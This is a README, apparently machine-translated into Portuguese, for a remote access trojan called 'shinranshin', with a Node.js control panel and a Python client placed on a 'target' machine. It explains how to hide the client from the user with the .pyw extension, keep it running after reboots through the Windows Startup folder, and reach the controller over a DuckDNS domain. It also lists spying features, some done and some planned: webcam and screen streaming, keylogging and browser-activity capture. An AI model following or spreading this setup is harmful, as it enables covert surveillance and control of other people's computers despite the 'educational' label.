Um RAT, script que controla outros computadores remotamente, apenas para fins educacionais .
Começando
Este projeto contém duas pastas: Servidor e Destino, para o administrador e o PC controlar remotamente, respectivamente.
Pré-requisitos
Para fins educacionais e com nova linguagem de programação, o servidor é desenvolvido usando NodeJs e o destino com Python 3
Instalando (servidor)
- Instalar nodejs
- Terminal aberto
$ git clone https://github.com/ahmed-BH/shinranshin.git $ cd shinranshin / servidor Instalação $ npm
Para testar, execute:
$ node app.js
Em seguida, abra o navegador http: // localhost /
Instalando (Destino)
- O alvo foi testado principalmente no sistema operacional Windows, funciona em outras plataformas, apenas alguns recursos não foram testados.
- Instale o python-3.6 na máquina do alvo
- Instale os módulos python necessários:
$ cd shinranshin / target $ pip install -r requirements.txt
- Faça o download do ffmpeg na máquina do alvo em shinranshin / target / deps
- Adicionar ffmpeg ao PATH (windows)
definir PATH =% PATH% ; completo / caminho / para / shinranshin / target / deps
- O Target se conecta ao servidor através do seu @IP, por isso precisamos dinamizar o @IP , o DuckDNS oferece uma maneira simples e gratuita (ou qualquer outro serviço No-ip).
- Siga as instruções para obter o domínio DuckDns, como querty.duckdns.org e altere a variável SOCKSRV no arquivo settings.py com esse domínio.
- Altere a extensão de script .py para .pyw para executar em segundo plano
- Crie um atalho a partir do script python e adicione-o à pasta de inicialização: C: \ Usuários \ nome de usuário \ AppData \ Roaming \ Microsoft \ Windows \ Menu Iniciar \ Programas \ Inicialização
Demo
Construído com
- express – A estrutura da web do Nodejs usada
- AdminLTE – Modelo do painel de controle de inicialização
- ejs – Mecanismo de modelo simples
Lista de afazeres
- Enviar comandos básicos, comandos relacionados ao SO
- Enviar e receber arquivos
- Transmita Desktop ou WebCam
- Coletar informações do sistema
- Coletar atividade do navegador, concluída, mas ainda não incluída
- Limpar páginas da web
- Analisar atividade do navegador
- Comunicação segura
- Recuperar imagem apagada, ainda em desenvolvimento e ainda não incluída
- Keylogging, concluído mas ainda não incluído
- Adicionar página inicial, apenas a página de comunicação está pronta agora
- Lista de softwares instalados
- Algumas funções funcionam apenas no Windows, adapte-as à máquina Linux